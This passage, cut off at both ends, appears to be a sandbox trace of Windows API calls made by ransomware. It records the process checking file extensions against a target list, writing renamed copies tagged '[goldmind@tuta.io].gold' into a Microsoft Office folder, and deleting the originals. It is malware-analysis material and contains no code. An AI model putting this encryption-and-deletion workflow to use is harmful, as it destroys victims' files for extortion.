out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0102.962] SetEndOfFile (hFile=0x198) returned 1 [0102.962] CloseHandle (hObject=0x198) returned 1 [0102.962] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.962] SetEndOfFile (hFile=0x3bc) returned 1 [0102.964] CloseHandle (hObject=0x3bc) returned 1 [0102.965] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.965] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\lgnd.vsl")) returned 1 [0102.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0102.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0102.966] lstrlenW (lpString=".doc") returned 4 [0102.966] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0102.966] lstrlenW (lpString=".docx") returned 5 [0102.966] lstrcmpiW (lpString1=".docx", lpString2="D.VSL") returned -1 [0102.966] lstrlenW (lpString=".pdf") returned 4 [0102.966] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0102.966] lstrlenW (lpString=".xls") returned 4 [0102.966] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0102.966] lstrlenW (lpString=".xlsx") returned 5 [0102.966] lstrcmpiW (lpString1=".xlsx", lpString2="D.VSL") returned -1 [0102.966] lstrlenW (lpString=".ppt") returned 4 [0102.966] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0102.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0102.966] lstrlenW (lpString=".zip") returned 4 [0102.966] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0102.966] lstrlenW (lpString=".rar") returned 4 [0102.966] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0102.966] lstrlenW (lpString=".bz2") returned 4 [0102.966] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0102.966] lstrlenW (lpString=".7z") returned 3 [0102.966] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0102.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0102.966] lstrlenW (lpString=".dbf") returned 4 [0102.966] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0102.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0102.966] lstrlenW (lpString=".1cd") returned 4 [0102.966] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0102.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0102.966] lstrlenW (lpString=".jpg") returned 4 [0102.966] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0102.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0102.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0102.966] lstrlenW (lpString=".doc") returned 4 [0102.966] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0102.966] lstrlenW (lpString=".docx") returned 5 [0102.966] lstrcmpiW (lpString1=".docx", lpString2="D.VSL") returned -1 [0102.966] lstrlenW (lpString=".pdf") returned 4 [0102.966] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0102.967] lstrlenW (lpString=".xls") returned 4 [0102.967] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0102.967] lstrlenW (lpString=".xlsx") returned 5 [0102.967] lstrcmpiW (lpString1=".xlsx", lpString2="D.VSL") returned -1 [0102.967] lstrlenW (lpString=".ppt") returned 4 [0102.967] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0102.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0102.967] lstrlenW (lpString=".zip") returned 4 [0102.967] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0102.967] lstrlenW (lpString=".rar") returned 4 [0102.967] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0102.967] lstrlenW (lpString=".bz2") returned 4 [0102.967] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0102.967] lstrlenW (lpString=".7z") returned 3 [0102.967] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0102.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0102.967] lstrlenW (lpString=".dbf") returned 4 [0102.967] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0102.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0102.967] lstrlenW (lpString=".1cd") returned 4 [0102.967] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0102.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0102.967] lstrlenW (lpString=".jpg") returned 4 [0102.967] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0102.967] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0102.967] lstrlenW (lpString="MAPIR.DLL") returned 9 [0102.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0102.968] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1124720) returned 1 [0102.968] CloseHandle (hObject=0x3bc) returned 1 [0102.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll")) returned 0x20 [0102.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0102.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0102.968] lstrlenW (lpString=".doc") returned 4 [0102.968] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0102.968] lstrlenW (lpString=".docx") returned 5 [0102.968] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0102.969] lstrlenW (lpString=".pdf") returned 4 [0102.969] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0102.969] lstrlenW (lpString=".xls") returned 4 [0102.969] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0102.969] lstrlenW (lpString=".xlsx") returned 5 [0102.969] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0102.969] lstrlenW (lpString=".ppt") returned 4 [0102.969] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0102.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0102.969] lstrlenW (lpString=".zip") returned 4 [0102.969] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0102.969] lstrlenW (lpString=".rar") returned 4 [0102.969] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0102.969] lstrlenW (lpString=".bz2") returned 4 [0102.969] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0102.969] lstrlenW (lpString=".7z") returned 3 [0102.969] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0102.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0102.969] lstrlenW (lpString=".dbf") returned 4 [0102.969] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0102.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0102.969] lstrlenW (lpString=".1cd") returned 4 [0102.969] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0102.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0102.969] lstrlenW (lpString=".jpg") returned 4 [0102.969] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0102.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0102.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0102.969] lstrlenW (lpString=".doc") returned 4 [0102.969] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0102.969] lstrlenW (lpString=".docx") returned 5 [0102.969] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0102.969] lstrlenW (lpString=".pdf") returned 4 [0102.969] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0102.969] lstrlenW (lpString=".xls") returned 4 [0102.969] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0102.969] lstrlenW (lpString=".xlsx") returned 5 [0102.969] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0102.969] lstrlenW (lpString=".ppt") returned 4 [0102.969] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0102.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0102.969] lstrlenW (lpString=".zip") returned 4 [0102.969] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0102.969] lstrlenW (lpString=".rar") returned 4 [0102.969] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0102.969] lstrlenW (lpString=".bz2") returned 4 [0102.970] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0102.970] lstrlenW (lpString=".7z") returned 3 [0102.970] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0102.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0102.970] lstrlenW (lpString=".dbf") returned 4 [0102.970] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0102.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0102.970] lstrlenW (lpString=".1cd") returned 4 [0102.970] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0102.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0102.970] lstrlenW (lpString=".jpg") returned 4 [0102.970] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0102.970] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".gold") returned 1 [0102.970] lstrlenW (lpString="MAPIR.DLL.IDX_DLL") returned 17 [0102.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0102.971] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=108416) returned 1 [0102.971] CloseHandle (hObject=0x3bc) returned 1 [0102.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.idx_dll")) returned 0x20 [0102.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.idx_dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0102.971] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.971] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.idx_dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0102.972] GetLastError () returned 0x0 [0102.972] ReadFile (in: hFile=0x3bc, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x1a780, lpOverlapped=0x0) returned 1 [0102.975] WriteFile (in: hFile=0x198, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x1a790, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x1a790, lpOverlapped=0x0) returned 1 [0102.976] ReadFile (in: hFile=0x3bc, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.976] WriteFile (in: hFile=0x198, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0102.976] SetEndOfFile (hFile=0x198) returned 1 [0102.978] CloseHandle (hObject=0x198) returned 1 [0102.978] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.978] SetEndOfFile (hFile=0x3bc) returned 1 [0102.981] CloseHandle (hObject=0x3bc) returned 1 [0102.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.981] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.idx_dll")) returned 1 [0102.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0102.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0102.982] lstrlenW (lpString=".doc") returned 4 [0102.982] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0102.982] lstrlenW (lpString=".docx") returned 5 [0102.982] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0102.982] lstrlenW (lpString=".pdf") returned 4 [0102.982] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0102.982] lstrlenW (lpString=".xls") returned 4 [0102.982] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0102.982] lstrlenW (lpString=".xlsx") returned 5 [0102.982] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0102.982] lstrlenW (lpString=".ppt") returned 4 [0102.982] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0102.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0102.982] lstrlenW (lpString=".zip") returned 4 [0102.982] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0102.982] lstrlenW (lpString=".rar") returned 4 [0102.982] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0102.982] lstrlenW (lpString=".bz2") returned 4 [0102.982] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0102.982] lstrlenW (lpString=".7z") returned 3 [0102.982] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0102.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0102.982] lstrlenW (lpString=".dbf") returned 4 [0102.982] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0102.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0102.982] lstrlenW (lpString=".1cd") returned 4 [0102.982] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0102.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0102.982] lstrlenW (lpString=".jpg") returned 4 [0102.982] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0102.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0102.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0102.982] lstrlenW (lpString=".doc") returned 4 [0102.982] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0102.982] lstrlenW (lpString=".docx") returned 5 [0102.982] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0102.982] lstrlenW (lpString=".pdf") returned 4 [0102.982] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0102.982] lstrlenW (lpString=".xls") returned 4 [0102.982] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0102.982] lstrlenW (lpString=".xlsx") returned 5 [0102.983] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0102.983] lstrlenW (lpString=".ppt") returned 4 [0102.983] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0102.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0102.983] lstrlenW (lpString=".zip") returned 4 [0102.983] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0102.983] lstrlenW (lpString=".rar") returned 4 [0102.983] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0102.983] lstrlenW (lpString=".bz2") returned 4 [0102.983] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0102.983] lstrlenW (lpString=".7z") returned 3 [0102.983] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0102.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0102.983] lstrlenW (lpString=".dbf") returned 4 [0102.983] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0102.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0102.983] lstrlenW (lpString=".1cd") returned 4 [0102.983] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0102.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0102.983] lstrlenW (lpString=".jpg") returned 4 [0102.983] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0102.983] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0102.983] lstrlenW (lpString="MAPISHELLR.DLL") returned 14 [0102.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapishellr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0102.983] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=591832) returned 1 [0102.984] CloseHandle (hObject=0x3bc) returned 1 [0102.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapishellr.dll")) returned 0x20 [0102.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapishellr.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapishellr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0102.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0102.984] lstrlenW (lpString=".doc") returned 4 [0102.984] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0102.984] lstrlenW (lpString=".docx") returned 5 [0102.984] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0102.984] lstrlenW (lpString=".pdf") returned 4 [0102.984] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0102.984] lstrlenW (lpString=".xls") returned 4 [0102.984] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0102.984] lstrlenW (lpString=".xlsx") returned 5 [0102.984] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0102.984] lstrlenW (lpString=".ppt") returned 4 [0102.984] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0102.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0102.984] lstrlenW (lpString=".zip") returned 4 [0102.984] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0102.984] lstrlenW (lpString=".rar") returned 4 [0102.984] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0102.984] lstrlenW (lpString=".bz2") returned 4 [0102.984] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0102.984] lstrlenW (lpString=".7z") returned 3 [0102.984] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0102.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0102.984] lstrlenW (lpString=".dbf") returned 4 [0102.984] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0102.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0102.984] lstrlenW (lpString=".1cd") returned 4 [0102.984] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0102.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0102.984] lstrlenW (lpString=".jpg") returned 4 [0102.984] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0102.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0102.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0102.985] lstrlenW (lpString=".doc") returned 4 [0102.985] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0102.985] lstrlenW (lpString=".docx") returned 5 [0102.985] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0102.985] lstrlenW (lpString=".pdf") returned 4 [0102.985] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0102.985] lstrlenW (lpString=".xls") returned 4 [0102.985] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0102.985] lstrlenW (lpString=".xlsx") returned 5 [0102.985] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0102.985] lstrlenW (lpString=".ppt") returned 4 [0102.985] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0102.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0102.985] lstrlenW (lpString=".zip") returned 4 [0102.985] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0102.985] lstrlenW (lpString=".rar") returned 4 [0102.985] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0102.985] lstrlenW (lpString=".bz2") returned 4 [0102.985] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0102.985] lstrlenW (lpString=".7z") returned 3 [0102.985] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0102.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0102.985] lstrlenW (lpString=".dbf") returned 4 [0102.985] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0102.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0102.985] lstrlenW (lpString=".1cd") returned 4 [0102.985] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0102.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0102.985] lstrlenW (lpString=".jpg") returned 4 [0102.985] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0102.985] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0102.985] lstrlenW (lpString="MERES.DLL") returned 9 [0102.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\meres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0102.986] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1052592) returned 1 [0102.986] CloseHandle (hObject=0x3bc) returned 1 [0102.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\meres.dll")) returned 0x20 [0102.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\meres.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.987] CreateFileW (lpFileName="C:\\Program 